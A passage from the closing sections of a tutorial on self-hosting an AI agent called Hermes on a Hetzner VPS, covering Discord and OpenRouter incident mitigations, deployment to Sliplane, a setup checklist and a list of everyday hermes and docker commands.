  • Mitigation: Immediate rotation from Developer Portal; hermes config rotate DISCORD_BOT_TOKEN

  • OpenRouter down

  • Mitigation: fallback_model in config + provider_routing.sort: throughput


15. Take a prototype to production with Sliplane

When a prototype deserves to leave the lab, the most direct option I see right now is Sliplane (https://sliplane.io?utm_source=ref_1rh1d59lxrc8).

Before uploading it, leave the project like this:

  • Dockerfile reasonably clean

  • environment variables outside the code

  • docker-compose.yml used only in the laboratory

  • a /health endpoint or equivalent to check that it boots

The basic flow would be:

  1. push repo to GitHub

  2. enter Sliplane (https://sliplane.io?utm_source=ref_1rh1d59lxrc8)

  3. create a new service connecting that repo

  4. let it detect the Dockerfile

  5. configure environment variables from the panel

  6. Deploy and test the resulting URL

It is not the only way to get something into production, but for prototypes and small services it seems the simplest to me.

16. Final checklist

Before declaring the lab “ready”:

  • VPS Hetzner CX32 created, fixed IP noted.

  • User hermes with sudo, root SSH locked.

  • UFW + Cloud Firewall (22, 80, 443).

  • Fail2ban active.

  • Docker + Compose installed, docker run hello-world OK.

  • Hermes Agent installed (hermes doctor without errors).

  • OpenRouter API key loaded and hermes responds with qwen/qwen3.6-plus.

  • active terminal.backend: docker, terminal.cwd=/workspace/projects, approvals.mode: off.

  • Discord bot created, intents activated, hermes gateway responds.

  • hermes-gateway.service enable + running.

  • /home/hermes/projects/ and global AGENTS.md created.

  • Cron daily-project-summary registered and tested.

  • Daily backups of active Hetzner.

  • Spending limit in OpenRouter.

  • First real project created with Hermes.

  • Screenshots in images/.

  • Each repo can generate or maintain its own ARTICLE.md.


Appendix A: useful everyday commands

hermes status # estado general
hermes logs gateway -f # logs en vivo del gateway
hermes sessions list # sesiones recientes
hermes memory search "…" # busca en memoria
hermes cron list
hermes skills list
hermes update # actualizar a última versión
hermes backup # zip de config y datos
docker ps
docker system df
docker system prune -a -f - filter "until=72h"
systemctl status hermes-gateway
journalctl -u hermes-gateway -f

Appendix B: official references